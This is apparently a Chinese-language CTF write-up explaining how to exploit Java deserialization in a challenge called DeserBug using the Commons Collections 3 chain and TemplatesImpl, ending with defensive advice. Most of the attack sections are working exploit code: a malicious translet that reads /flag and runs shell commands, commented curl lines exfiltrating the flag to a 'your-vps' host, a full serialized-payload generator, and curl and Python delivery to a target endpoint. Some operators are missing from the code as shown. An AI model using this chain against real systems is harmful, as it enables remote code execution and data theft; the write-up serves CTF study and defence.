Java反序列化漏洞深度解析:CC3链与TemplatesImpl实战利用 1. 项目概述从一道国赛题看Java反序列化的深度利用去年CISCN国赛初赛的Web赛道上一道名为“DeserBug”的题目让不少选手印象深刻也让我这个老Java安全研究员琢磨了好一阵子。这道题的核心是绕过一个精心设计的黑名单利用Commons Collections 3CC3链与TemplatesImpl类实现远程代码执行RCE。这不仅仅是CTF赛场上的一个挑战更是对Java反序列化漏洞利用技术一次非常经典的实战检验。很多分析文章可能只给出了最终的Payload和利用链但其中关于TemplatesImpl的加载机制、如何绕过defineClass的直接调用、以及CC3链在特定环境下的变种选择这些细节才是真正值得深挖的“干货”。今天我就结合这道题把这条链从原理到实战掰开揉碎了讲清楚无论你是正在备战CTF的选手还是想深入理解Java安全的研究者相信都能从中获得一些新的启发。2. 核心思路与黑名单绕过策略解析2.1 题目环境与限制条件分析拿到“DeserBug”这道题第一步永远是搭建环境、理解限制。题目通常会给一个Java Web应用存在一个反序列化入口点比如接收Base64编码数据的HTTP端点。关键的限制在于服务端配置了一个反序列化过滤器ObjectInputFilter或自定义的resolveClass方法里面包含了一个黑名单。这个黑名单通常会禁掉一些“臭名昭著”的类。根据常见的出题思路和赛后复盘我们可以推测黑名单可能包含以下关键词InvokerTransformer、InstantiateTransformerCC1链的核心Transformer。javax.management.BadAttributeValueExpExceptionCC5、CC6链常用的触发入口。com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这是我们的目标类但出题人可能会尝试禁用它。不过完全禁用TemplatesImpl是困难的因为它的包路径较长且可能存在于不同JDK版本中有时出题人会选择禁用它关键的getOutputProperties()或newTransformer()方法名而不是类本身。org.apache.commons.collections.functors.*可能尝试禁掉整个functor包。题目的巧妙之处往往在于黑名单并非天衣无缝。我们的核心思路就是在黑名单的缝隙中找到一条既能加载恶意字节码又能触发执行的路径。TemplatesImpl因其独特的字节码加载能力成为首选而CC3链则提供了一种相对“冷门”的触发方式。2.2 为什么是CC3链与TemplatesImpl的组合在众多Commons Collections利用链中CC1、CC5、CC6更为人熟知。CC3链则显得有些特殊它主要利用的是TrAXFilter类和InstantiateTransformer。这条链在commons-collections:3.2.1版本及以下可利用其核心价值在于它提供了一种不直接依赖InvokerTransformer调用危险方法如Runtime.exec的方式。TemplatesImpl这个类堪称Java反序列化漏洞的“瑞士军刀”。它的_bytecodes字段可以存储字节数组形式的Java类在反序列化后通过调用其newTransformer()或getOutputProperties()方法会触发内部对字节码的defineClass和类实例化过程从而执行静态代码块中的代码。这完美规避了直接反射调用Runtime.getRuntime().exec()这种容易被WAF或RASP规则命中的行为。因此“CC3 TemplatesImpl”的组合拳思路是利用CC3链构造一个调用链最终能实例化一个TrAXFilter对象。注入恶意类将我们包含恶意静态代码块的类的字节码设置到TemplatesImpl对象的_bytecodes字段中。连接触发点在CC3链的某个环节让InstantiateTransformer去实例化TrAXFilter类而TrAXFilter的构造函数中会调用传入的Templates对象即我们的恶意TemplatesImpl实例的newTransformer()方法。触发执行newTransformer()被调用导致TemplatesImpl加载并初始化我们植入的恶意类静态代码块中的命令得以执行。这个链条的关键优势在于最终触发命令执行的是TemplatesImpl自身的、合法的类加载机制而非生硬的方法调用隐蔽性更强。3. 恶意类构造与字节码生成详解3.1 设计一个无害但有效的恶意类我们不能直接用Runtime.getRuntime().exec(“calc”)这样的代码写一个类然后编译因为在不同目标环境中命令执行的方式可能需要调整例如弹计算器、回连Shell、读取文件等。一个更通用、更符合CTF场景的做法是让恶意类在初始化时执行一段能“泄露信息”或“与外界交互”的代码。通常我们会让静态代码块去读取服务器上的一个特定文件比如/flag或者执行一个预定义的命令并将结果通过HTTP请求发送出来。这里以读取环境变量或执行命令为例但请注意在实际CTF中需要根据题目要求调整例如将结果写入Web目录、触发DNS查询等。一个典型的恶意类EvilClass可能长这样import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.io.*; import java.nio.file.Files; import java.nio.file.Paths; public class EvilClass extends AbstractTranslet { static { try { // 示例1读取文件并打印到标准错误可能被Web服务器日志捕获 String flag new String(Files.readAllBytes(Paths.get(/flag))); System.err.println([FLAG] flag); // 示例2执行系统命令更具通用性但可能被过滤 // Runtime.getRuntime().exec(new String[]{/bin/bash, -c, curl http://your-vps/cat /flag}); } catch (Exception e) { e.printStackTrace(); } } Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }注意这个类必须继承AbstractTranslet因为TemplatesImpl加载的字节码期望是一个转换器Translet。静态代码块static{}中的代码会在类被初始化时执行这正是我们需要的触发点。3.2 编译与字节码提取技巧编写好EvilClass.java后我们需要将其编译成.class文件并提取出字节数组。这里有几个关键点编译环境务必使用与目标服务器相近版本的JDK进行编译避免因类版本问题导致加载失败。通常CTF环境是JDK 8使用javac -cp .:xalan.jar EvilClass.java编译需要引入xalan的jar包因为依赖了AbstractTranslet等类。一个更简单的方法是直接使用org.apache.xalan:xalan:2.7.2的依赖在Maven项目中编译。提取字节码编译后得到EvilClass.class。我们需要将其读取为字节数组。可以用一段简单的Java代码来完成import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; public class GetBytes { public static void main(String[] args) throws Exception { byte[] bytes Files.readAllBytes(Paths.get(EvilClass.class)); String base64 Base64.getEncoder().encodeToString(bytes); System.out.println(base64); // 也可以直接输出为Java数组格式 System.out.print(byte[] bytes new byte[]{); for (int i 0; i bytes.length; i) { System.out.print(bytes[i]); if (i ! bytes.length - 1) System.out.print(, ); } System.out.println(};); } }处理依赖EvilClass依赖了xalan中的类。在TemplatesImpl加载时目标环境中必须存在这些类。幸运的是com.sun.org.apache.xalan.internal.*是JDK自带的位于rt.jar中因此通常不需要额外依赖。但如果你在编译时用了外部xalan.jar要确保目标环境的ClassLoader能访问到这些父类否则会报ClassNotFoundException。最稳妥的方式就是像上面示例一样使用JDK自带的内部包路径com.sun.org.apache...虽然它带有internal字样但在反序列化过程中通常是可以访问的。4. CC3利用链的完整构造过程4.1 链式调用原理与关键类分析CC3链的核心是利用org.apache.commons.collections.functors.InstantiateTransformer。这个Transformer的transform方法会通过反射调用构造函数来实例化一个类。链条的构造通常如下逆向思考触发顺序触发入口需要一个反序列化后会自动调用某个方法的对象。常用的是AnnotationInvocationHandlerJDK动态代理相关在CC1中用过或者BadAttributeValueExpException.readObjectCC5/6。但在存在黑名单的情况下我们需要寻找其他入口。题目“DeserBug”可能设计了一个特定的入口点比如一个自定义的、反序列化后会调用toString()或compareTo()方法的类。这里我们假设存在一个通用的触发点例如通过PriorityQueue或Hashtable的readObject触发的比较器调用。连接到InstantiateTransformer无论入口是什么最终我们需要让调用传递到InstantiateTransformer.transform(Class)。CC3链通过TrAXFilter类作为桥梁。TrAXFilter的构造函数签名为TrAXFilter(Templates templates)内部会调用templates.newTransformer()。构造Transformer链我们需要构造一个ChainedTransformer或TransformingComparator使其transform或compare方法最终调用InstantiateTransformer并且参数是TrAXFilter.class。注入TemplatesImplInstantiateTransformer实例化TrAXFilter时需要传入一个Templates对象作为构造参数。这个对象就是我们精心构造的、包含恶意字节码的TemplatesImpl实例。因此完整的调用链可以抽象为入口点.readObject()- 调用某个Transformer.transform()-InstantiateTransformer.transform(TrAXFilter.class)-new TrAXFilter(evilTemplatesImpl)-evilTemplatesImpl.newTransformer()-TemplatesImpl.defineTransletClasses()- 加载EvilClass- 执行静态代码块。4.2 分步构造Payload假设我们使用TransformingComparator作为入口它实现了Serializable和Comparator在反序列化排序集合时可能被触发。下面是用代码构造Payload的过程import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.comparators.TransformingComparator; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javax.xml.transform.Templates; import java.lang.reflect.Field; import java.util.PriorityQueue; import java.util.Base64; public class CC3PayloadGenerator { public static void main(String[] args) throws Exception { // 1. 创建包含恶意字节码的TemplatesImpl对象 TemplatesImpl templates new TemplatesImpl(); // 通过反射设置字段 setFieldValue(templates, “_name”, “Pwn”); // 必填字段非空即可 setFieldValue(templates, “_bytecodes”, new byte[][]{evilBytes}); // evilBytes是之前提取的字节数组 setFieldValue(templates, “_tfactory”, new TransformerFactoryImpl()); // 2. 构造InstantiateTransformer用于实例化TrAXFilter并传入我们的templates作为构造参数 Transformer[] transformers new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates} ) }; ChainedTransformer chain new ChainedTransformer(transformers); // 3. 构造TransformingComparator将chain作为其transformer TransformingComparator comparator new TransformingComparator(chain); // 4. 将comparator放入一个反序列化时会触发比较的对象中例如PriorityQueue PriorityQueueObject queue new PriorityQueue(2, comparator); // 添加两个虚拟元素触发比较 queue.add(1); queue.add(2); // 5. 序列化queue对象 byte[] serializedData serialize(queue); String base64Payload Base64.getEncoder().encodeToString(serializedData); System.out.println(“Payload (Base64):”); System.out.println(base64Payload); } private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } private static byte[] serialize(Object obj) throws Exception { ByteArrayOutputStream bos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(bos); oos.writeObject(obj); oos.close(); return bos.toByteArray(); } }关键点解析ConstantTransformer(TrAXFilter.class)将TrAXFilter.class这个Class对象作为常量输出作为InstantiateTransformer的输入。InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})这个配置告诉InstantiateTransformer当它接收到一个Class对象即上一步的TrAXFilter.class时使用哪个构造函数参数类型为Templates.class进行实例化以及构造参数是什么即我们恶意的templates对象。PriorityQueue在反序列化时会调用其heapify()方法进而调用siftDown()最终会使用我们设置的TransformingComparator来比较元素从而触发整个Transformer链。4.3 针对黑名单的微调与变种如果题目黑名单禁用了InstantiateTransformer我们就需要寻找替代方案。CC3链还有一个变种利用org.apache.commons.collections.functors.InvokerTransformer配合TemplatesImpl.getOutputProperties()。因为getOutputProperties()方法会间接调用newTransformer()。但InvokerTransformer本身在黑名单中的概率极高。另一种思路是如果黑名单是基于类名的字符串匹配可以尝试使用数组来绕过。例如new Transformer[]{constantTransformer, instantiateTransformer}在某些简单的过滤器中可能只检查数组元素类型的字符串表示而不会深度遍历。但这取决于过滤器的实现。更高级的绕过可能需要结合其他链比如使用BeanComparator配合ToStringBean来自commons-beanutils来触发getOutputProperties的调用。这要求环境中存在相应的库。在实战或CTF中需要根据实际遇到的过滤逻辑进行动态调整。对于“DeserBug”这道题其黑名单的设计很可能就是引导选手去使用相对少用的CC3链与TemplatesImpl的直接组合。5. 实战利用与漏洞触发全流程5.1 本地测试与序列化数据生成在将Payload发送到目标之前必须在本地进行充分测试以确保利用链能顺利执行。测试环境需要包含与目标相同版本的commons-collections库例如3.2.1。对应的JDK版本确保TemplatesImpl等内部类存在且可用。测试步骤运行上面的CC3PayloadGenerator生成Base64编码的Payload字符串。编写一个简单的“靶机”测试程序模拟服务端的反序列化操作import java.io.*; import java.util.Base64; public class DeserTest { public static void main(String[] args) throws Exception { String yourBase64Payload “...”; // 替换为生成的Payload byte[] data Base64.getDecoder().decode(yourBase64Payload); ByteArrayInputStream bis new ByteArrayInputStream(data); ObjectInputStream ois new ObjectInputStream(bis); // 关键在反序列化前可以在这里模拟设置一个黑名单过滤器 // ObjectInputStream ois new ObjectInputStreamWithFilter(bis, myFilter); System.out.println(“开始反序列化...”); Object obj ois.readObject(); // 触发点 System.out.println(“反序列化完成。”); // 如果Payload使用了PriorityQueue可能还需要一些操作来触发比较但readObject内部已经触发了。 } }运行测试程序观察是否成功执行了EvilClass静态代码块中的命令例如是否打印了[FLAG] ...到控制台。如果成功说明利用链构造正确。5.2 向目标发送Payload并获取结果在CTF中反序列化入口通常是一个HTTP接口比如/api/deserialize接收POST请求Body中是Base64编码的数据。使用curl或Python脚本发送Payloadcurl -X POST http://target.com/api/deserialize \ -H “Content-Type: text/plain” \ --data-binary “$(cat payload.txt)” # payload.txt里是Base64字符串或者用Pythonimport requests import base64 with open(‘payload.bin’, ‘rb’) as f: # 这里payload.bin是序列化后的字节文件 payload base64.b64encode(f.read()).decode() url ‘http://target.com/api/deserialize’ headers {‘Content-Type’: ‘text/plain’} resp requests.post(url, datapayload, headersheaders) print(resp.status_code, resp.text)对于“DeserBug”这类题目命令执行的结果可能不会直接返回在HTTP响应中。我们需要让恶意代码将结果输出到Web服务器日志、写入一个可访问的Web文件或者发起一个带出数据的HTTP/DNS请求到我们控制的服务器。例如修改EvilClass的静态代码块static { try { String cmd “cat /flag”; Process p Runtime.getRuntime().exec(new String[]{“/bin/bash”, “-c”, cmd}); BufferedReader reader new BufferedReader(new InputStreamReader(p.getInputStream())); String line; StringBuilder output new StringBuilder(); while ((line reader.readLine()) ! null) { output.append(line); } // 方式一将结果写入Web目录下的文件 Files.write(Paths.get(“/tmp/webroot/flag.txt”), output.toString().getBytes()); // 方式二通过HTTP请求带出需要VPS // String flag output.toString(); // Runtime.getRuntime().exec(new String[]{“curl”, “http://your-vps/“ URLEncoder.encode(flag, “UTF-8”)}); } catch (Exception e) { // 忽略异常或记录 } }然后访问http://target.com/flag.txt查看结果。5.3 利用过程中的关键问题与调试类版本不匹配如果出现InvalidClassException或ClassNotFoundException首先检查编译EvilClass的JDK版本是否与目标一致。使用javac -version确认尽量使用JDK 8。权限问题TemplatesImpl内部调用defineClass这可能会受到SecurityManager的限制。如果题目开启了严格的安全管理器可能会失败。需要检查是否有权限执行defineClass。黑名单拦截如果请求后没有任何反应或者返回了过滤相关的错误信息说明Payload中的某个类被拦截了。需要回退到分析步骤尝试替换链中的组件。例如如果InstantiateTransformer被禁考虑是否能用InvokerTransformer调用TemplatesImpl.getOutputProperties()前提是它没被禁。或者寻找其他入口类。无回显利用如果无法直接获取输出需要采用“盲打”方式。可以让恶意代码执行一个能产生外部交互的命令如ping你的服务器或者使用curl、wget发起Web请求通过查看服务器日志来判断是否执行成功。使用ysoserial工具链在实战中我们可以使用ysoserial工具来生成CC3的Payload命令如java -jar ysoserial.jar CommonsCollections3 “command”。但工具生成的Payload是调用Runtime.exec的我们需要修改其源码将其替换为使用TemplatesImpl加载字节码的方式以适应这道题的要求。这本身也是一个很好的学习过程。6. 防御视角与安全加固建议从这道题反推作为开发者如何防御此类复杂的反序列化攻击首选方案升级与替换将commons-collections等已知存在危险链的库升级到最新版本如3.2.2及以上其中很多危险的Transformer类不再实现Serializable接口。或者考虑使用其他安全的集合库替代。严格输入过滤使用白名单机制替代黑名单。ObjectInputFilterJDK 9或第三方库如SerialKiller允许你定义哪些类可以被反序列化。只允许业务逻辑必需的、安全的类。避免反序列化不可信数据这是根本原则。如果可能使用JSON、XML、Protocol Buffers等更安全的序列化格式进行数据交换。自定义ObjectInputStream重写resolveClass方法进行严格的类名验证。注意验证逻辑要严谨防止通过数组、内部类、继承等方式绕过。protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className desc.getName(); if (!isAllowed(className)) { // 实现你自己的白名单检查 throw new InvalidClassException(“Unauthorized deserialization attempt”, className); } return super.resolveClass(desc); }使用SecurityManager配置严格的Java安全策略限制defineClass、exec等敏感操作的权限。代码审计与依赖检查定期使用工具扫描项目中的依赖查找已知存在反序列化漏洞的组件版本。对自定义的readObject、readResolve等方法进行安全审计。对于安全研究人员而言理解“DeserBug”这样的题目其价值不仅在于解出一道题更在于它揭示了在黑名单防御下攻击者如何通过组合看似无害的类与JDK内部功能构造出强大的攻击链。这种“深度利用”的思路在分析真实世界的漏洞时同样至关重要。